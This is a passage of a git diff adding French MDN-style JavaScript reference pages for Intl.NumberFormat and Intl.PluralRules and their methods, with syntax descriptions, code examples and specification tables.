+<p>Les résultats fournis par <code>toLocaleString</code> peuvent être paramétrés grâce à l'argument <code>options</code> :</p>
+
+<pre class="brush: js">var nombre = 123456.789;
+
+// on affiche une devise avec le style "currency"
+console.log(new Intl.NumberFormat("de-DE", {style: "currency", currency: "EUR"}).format(nombre));
+// → 123.456,79 €
+
+// Le yen japonais n'a pas de centimes
+console.log(new Intl.NumberFormat("ja-JP", {style: "currency", currency: "JPY"}).format(nombre))
+// → ￥123,457
+
+// On se limite ici à trois chiffres significatifs
+console.log(new Intl.NumberFormat("en-IN", {maximumSignificantDigits: 3}).format(nombre));
+// → 1,23,000
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#numberformat-objects', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl','Voir_aussi')}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/prototype/index.html
new file mode 100644
index 0000000000..38ec9688f3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/prototype/index.html
@@ -0,0 +1,82 @@
+---
+title: Intl.NumberFormat.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/prototype
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - NumberFormat
+  - Propriété
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Intl.NumberFormat.prototype</strong></code> représente l'objet prototype pour le constructeur {{jsxref("NumberFormat", "Intl.NumberFormat")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir la page {{jsxref("NumberFormat", "Intl.NumberFormat")}} pour une description des instances de <code>Intl.NumberFormat</code>.</p>
+
+<p>Les instances de <code>Intl.NumberFormat</code> héritent de <code>Intl.NumberFormat.prototype</code>. Les modifications apportées à l'objet prototype seront propagées par héritage aux instances  <code>Intl.NumberFormat</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Intl.NumberFormat.prototype.constructor</code></dt>
+ <dd>Une référence à <code>Intl.NumberFormat</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format")}}</dt>
+ <dd>Un accesseur qui renvoie une fonction permettant de formater un nombre en fonction des options de locale et de format définies dans un objet <code>NumberFormat</code>.</dd>
+ <dt>{{jsxref("NumberFormat.formatToParts", "Intl.NumberFormat.prototype.formatToParts()")}}</dt>
+ <dd>Cette méthode renvoie un tableau ({{jsxref("Array")}}) d'objets qui représentent les fragments de la chaîne de caractères correspondant au nombre afin de l'utiliser pour des mises en formes prenant en compte la locale de l'utilisateur.</dd>
+ <dt>{{jsxref("NumberFormat.resolvedOptions", "Intl.NumberFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>Cette méthode renvoie un nouvel objet dont les propriétés correspondent aux options de locale et de collation calculées lors de l'initialisation de l'objet.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype', 'Intl.NumberFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/resolvedoptions/index.html
new file mode 100644
index 0000000000..195f044176
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/resolvedoptions/index.html
@@ -0,0 +1,112 @@
+---
+title: Intl.NumberFormat.prototype.resolvedOptions()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/resolvedOptions
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - NumberFormat
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/resolvedOptions
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Intl.NumberFormat.prototype.resolvedOptions()</strong></code> renvoie un nouvel objet dont les propriétés correspondent aux options de locales et de format calculées à l'initialisation de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-resolvedoptions.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>numberFormat</var>.resolvedOptions()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet dont les propriétés correspondent aux options de locale et de format calculées lors de l'initialisation de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie un objet composé des propriétés suivantes :</p>
+
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>La balise de langue BCP 47 qui est utilisée. Si des extensions Unicode avaient été rajoutées à la balise BCP 47 demandée, les paires de clés-valeurs qui ont été demandées et qui sont supportées sont inscrites dans <code>locale</code>.</dd>
+ <dt><code>numberingSystem</code></dt>
+ <dd>La valeur requise via l'extension Unicode <code>"nu"</code> ou celle qui est utilisée par défaut.</dd>
+ <dt><code>style</code></dt>
+ <dt><code>useGrouping</code></dt>
+ <dd>Les valeurs fournies pour ces propriétés via l'argument <code>options</code> ou bien les valeurs par défaut.</dd>
+ <dt><code>currency</code></dt>
+ <dt><code>currencyDisplay</code></dt>
+ <dd>Les valeurs fournies pour ces propriétés via l'argument <code>options</code> ou bien les valeurs par défaut. Ces valeurs sont présentes uniquement si <code>style</code> vaut <code>"currency"</code>.</dd>
+</dl>
+
+<p>Un seul des deux groupes suivants est inclus dans les propriétés :</p>
+
+<dl>
+ <dt><code>minimumIntegerDigits</code></dt>
+ <dt><code>minimumFractionDigits</code></dt>
+ <dt><code>maximumFractionDigits</code></dt>
+ <dd>Les valeurs fournies pour ces propriétés via l'argument <code>options</code> ou bien les valeurs par défaut. Ces propriétés ne sont présentes que si <code>minimumSignificantDigits</code> ou <code>maximumSignificantDigits</code> n'ont pas été fournies à l'argument <code>options</code>.</dd>
+ <dt><code>minimumSignificantDigits</code></dt>
+ <dt><code>maximumSignificantDigits</code></dt>
+ <dd>Les valeurs fournies pour ces propriétés via l'argument <code>options</code> ou bien les valeurs par défaut. Ces propriétés sont présentes si au moins une d'entre elles a été fournie via l'argument <code>options</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_resolvedOptions">Utiliser la méthode <code>resolvedOptions()</code></h3>
+
+<pre class="brush: js">var de = new Intl.NumberFormat('de-DE');
+var usedOptions = de.resolvedOptions();
+
+usedOptions.locale;                // "de-DE"
+usedOptions.numberingSystem;       // "latn"
+usedOption.style;                  // "decimal"
+usedOptions.minimumIntegerDigits;  // 1
+usedOptions.minimumFractionDigits; // 0
+usedOptions.maximumFractionDigits; // 3
+usedOptions.useGrouping;           // true</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.resolvedOptions', 'Intl.NumberFormat.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat.resolvedOptions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/supportedlocalesof/index.html
new file mode 100644
index 0000000000..f270e88a64
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/supportedlocalesof/index.html
@@ -0,0 +1,98 @@
+---
+title: Intl.NumberFormat.supportedLocalesOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/supportedLocalesOf
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - NumberFormat
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/supportedLocalesOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Intl.NumberFormat.supportedLocalesOf()</strong></code> renvoie un tableau de locales supportées parmi les locales fournies en argument afin d'éviter d'utiliser celle par défaut de l'environnement.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-supportedlocalesof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Intl.NumberFormat.supportedLocalesOf(<var>locales</var>[, <var>options</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Une chaîne de caractères qui est une balise BCP 47 ou un tableau composé de telles chaînes. Pour plus d'informations sur la forme générale de l'argument <code>locales</code>, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.</dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Un objet qui peut avoir la propriété suivante :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance des locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Pour plus d'informations,, voir la page {{jsxref("Intl","Intl","#Choix_de_la_locale")}}.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaînes de caractères représentant un sous-ensemble des balises de langues qui sont prises en charge pour la mise en forme des nombres sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie un tableau de locales supportées parmi les locales fournies en argument afin d'éviter d'utiliser celle par défaut de l'environnement. Les locales renvoyées sont celles considérées comme équivalentes aux locales fournies avec l'algorithme indiqué.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_supportedLocalesOf">Utiliser <code>supportedLocalesOf()</code></h3>
+
+<p>Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des dates et des heures, <code>supportedLocalesOf</code> renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les nombres ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme <code>"lookup"</code>. Si on utilisait <code>"best fit"</code>, on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.</p>
+
+<pre class="brush: js">var locales = ["ban", "id-u-co-pinyin", "de-ID"];
+var options = {localeMatcher: "lookup"};
+console.log(Intl.NumberFormat.supportedLocalesOf(locales, options).join(", "));
+// → "id-u-co-pinyin, de-ID"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.supportedLocalesOf', 'Intl.NumberFormat.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat.supportedLocalesOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/index.html
new file mode 100644
index 0000000000..0d49ec4de0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/index.html
@@ -0,0 +1,160 @@
+---
+title: Intl.PluralRules
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - PluralRules
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Intl.PluralRules</code></strong> est un constructeur d'objets qui permettent de mettre en forme des chaînes de caractères en fonction des règles de nombre (pluriel) d'une langue donnée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>new Intl.PluralRules([<var>locales</var>[, <var>options</var>]])
+</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+ <p>Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument <code>locales</code>, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.</p>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Optionnel, un objet possédant tout ou partie des propriétés suivantes :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code> ; le défaut est <code>"best fit"</code>. Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}</dd>
+  <dt><code>type</code></dt>
+  <dd>Le type de numérotation à utiliser. Les valeurs possibles sont :
+  <ul>
+   <li><code>"cardinal"</code> pour les nombres cardinaux (la quantité de telle ou telle chose). Cette valeur est la valeur par défaut.</li>
+   <li><code>"ordinal"</code> pour les nombres ordinaux (l'ordre relatif de différentes choses « premier », « deuxième », « troisième »).</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt>{{jsxref("PluralRules.prototype", "Intl.PluralRules.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés aux objets <code>Intl.PluralRules</code>.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("PluralRules.supportedLocalesOf", "Intl.PluralRules.supportedLocalesOf()")}}</dt>
+ <dd>Cette méthode renvoie un tableau contenant les locales prises en charge sans que le moteur ait à utiliser la locale par défaut du système d'exécution.</dd>
+</dl>
+
+<h2 id="Instances_de_PluralRules">Instances de <code>PluralRules</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>Les instances de <code>PluralRules</code> héritent des propriétés suivantes de par leur prototype :</p>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/PluralRules/prototype', 'Propriétés')}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>Les instances de <code>PluralRules</code> héritent des méthodes suivantes de par leur prototype :</p>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/PluralRules/prototype', 'Méthodes')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<p>Sans indiquer de locale, une chaîne formatée dans la locale par défaut et avec les options par défaut est renvoyée. On peut ainsi différencier entre le singulier et le pluriel (par exemple "chien" et "chiens").</p>
+
+<pre class="brush: js">var pr = new Intl.PluralRules();
+
+pr.select(0);
+// → 'one' si utilisée avec une locale anglais américain
+
+pr.select(1);
+// → 'one' si utilisée avec une locale anglais américain
+
+pr.select(2);
+// → 'other' si utilisée avec une locale anglais américain
+</pre>
+
+<h3 id="Utiliser_locales">Utiliser <code>locales</code></h3>
+
+<p>Dans cet exemple, on voit l'impact de la locale sur les règles de nombre. Afin de respecter la langue de l'utilisateur dans votre application, assurez vous d'indiquer cette langue (et éventuellement une langue de secours) grâce à l'argument <code>locales</code> :</p>
+
+<pre class="brush: js">// L'arabe possède plusieurs règles
+// de nombre
+
+new Intl.PluralRules('ar-EG').select(0);
+// → 'zero'
+new Intl.PluralRules('ar-EG').select(1);
+// → 'one'
+new Intl.PluralRules('ar-EG').select(2);
+// → 'two'
+new Intl.PluralRules('ar-EG').select(6);
+// → 'few'
+new Intl.PluralRules('ar-EG').select(18);
+// → 'many'
+</pre>
+
+<h3 id="Utiliser_options">Utiliser <code>options</code></h3>
+
+<p>Les résultats obtenus peuvent être adaptés grâce à l'argument <code>options</code>. Celui-ci possède une propriété appelée <code>type</code> qui peut valoir <code>ordinal</code>. Cela peut être utile afin de déterminer la forme d'un indicateur ordinal (par exemple, "1<sup>er</sup>", "2<sup>e</sup>", etc.).</p>
+
+<pre class="brush: js">var pr = new Intl.PluralRules('en-US', { type: 'ordinal' });
+
+pr.select(0);
+// → 'other'
+pr.select(1);
+// → 'one'
+pr.select(2);
+// → 'two'
+pr.select(3);
+// → 'few'
+pr.select(4);
+// → 'other'
+pr.select(42);
+// → 'two'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.es/ecma402/#sec-intl-pluralrules-constructor">Proposition pour le constructeur <code>Intl.PluralRules</code></a></td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.PluralRules")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}</div>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/prototype/index.html
new file mode 100644
index 0000000000..2539ed3334
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/prototype/index.html
@@ -0,0 +1,70 @@
+---
+title: Intl.PluralRules.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/prototype
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Intl.PluralRules.prototype</code></strong> représente le prototype du constructeur {{jsxref("PluralRules", "Intl.PluralRules")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir {{jsxref("PluralRules")}} pour la description des instances <code>Intl.PluralRules</code>.</p>
+
+<p>Les instances de {{jsxref("PluralRules", "Intl.PluralRules")}} héritent de <code>Intl.PluralRules.prototype</code>. Les modifications apportées au prototype seront héritées par l'ensemble des instances de {{jsxref("PluralRules", "Intl.PluralRules")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Intl.PluralRules.prototype.constructor</code></dt>
+ <dd>Une référence à <code>Intl.PluralRules</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("PluralRules.resolvedOptions", "Intl.PluralRules.prototype.resolvedOptions()")}}</dt>
+ <dd>Cette méthode renvoie un nouvelle objet dont les propriétés reflètent la locale et les options de collations calculées lors de l'initialisation de l'objet.</dd>
+ <dt>{{jsxref("PluralRules.select", "Intl.PluralRules.prototype.select()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères ({{jsxref("String")}}) qui indique quelle forme de règle de nombre est utilisée pour le formatage.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://rawgit.com/caridy/intl-plural-rules-spec/master/index.html">Brouillon pour les règles de nombre avec <code>Intl</code></a></td>
+   <td>Brouillon</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.PluralRules.prototype")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("PluralRules", "Intl.PluralRules")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/resolvedoptions/index.html
new file mode 100644
index 0000000000..66f4062703
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/resolvedoptions/index.html
@@ -0,0 +1,95 @@
+---
+title: Intl.PluralRules.prototype.resolvedOptions()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/resolvedOptions
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - PluralRules
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/resolvedOptions
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.PluralRules.prototype.resolvedOptions()</code></strong> renvoie un nouvel objet dont les propriétés reflètent la locale et les options de formatage relatives aux règles de nombre calculées lors de l'initialisation de l'objet {{jsxref("PluralRules")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><var>pluralRule</var>.resolvedOptions()</code></pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet dont les propriétés reflètent la locale et les options de formatage relatives aux règles de nombre calculées lors de l'initialisation de l'objet {{jsxref("PluralRules")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet produit possède les propriétés suivantes :</p>
+
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>La balise de langue BCP 47 pour la locale réellement utilisée. Si une extension Unicode a été demandée dans la balise de langue BCP 47 ayant menée à cette locale, les paires clé/valeur qui ont été demandées et qui sont prises en charge dans cette locale sont incluses dans l'objet <code>locale</code>.</dd>
+ <dt><code>pluralCategories</code></dt>
+ <dd>Un tableau {{jsxref("Array")}} des règles de nombre utilisée pour la langue donnée.</dd>
+ <dt><code>type</code></dt>
+ <dd>Le type de règle utilisée (<code>cardinal</code> ou <code>ordinal</code>).</dd>
+</dl>
+
+<p>Seul l'un de ces deux groupes de propriétés est inclus :</p>
+
+<dl>
+ <dt><code>minimumIntegerDigits</code></dt>
+ <dt><code>minimumFractionDigits</code></dt>
+ <dt><code>maximumFractionDigits</code></dt>
+ <dd>Les valeurs fournies pour ces propriétés via l'argument <code>options</code> ou les valeurs par défaut. Ces propriétés sont uniquement présentes si aucunes des propriétés <code>minimumSignificantDigits</code> ou <code>maximumSignificantDigits</code> n'a été fournie dans l'argument <code>options</code>.</dd>
+ <dt><code>minimumSignificantDigits</code></dt>
+ <dt><code>maximumSignificantDigits</code></dt>
+ <dd>Les valeurs fournies par ces propriétés via l'argument <code>options</code> ou les valeurs par défaut. Ces propriétés sont uniquement présentes si au moins l'une d'entre elles a été fournie dans l'argument <code>options</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_resolvedOptions">Utiliser <code>resolvedOptions()</code></h3>
+
+<pre class="brush: js">var de = new Intl.PluralRules('de-DE');
+var usedOptions = de.resolvedOptions();
+
+usedOptions.locale;                // "de-DE"
+usedOptions.maximumFractionDigits; // 3
+usedOptions.minimumFractionDigits; // 0
+usedOptions.minimumIntegerDigits;  // 1
+usedOptions.pluralCategories;      // Array [ "one", "other" ]
+usedOptions.type;                  // "cardinal"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
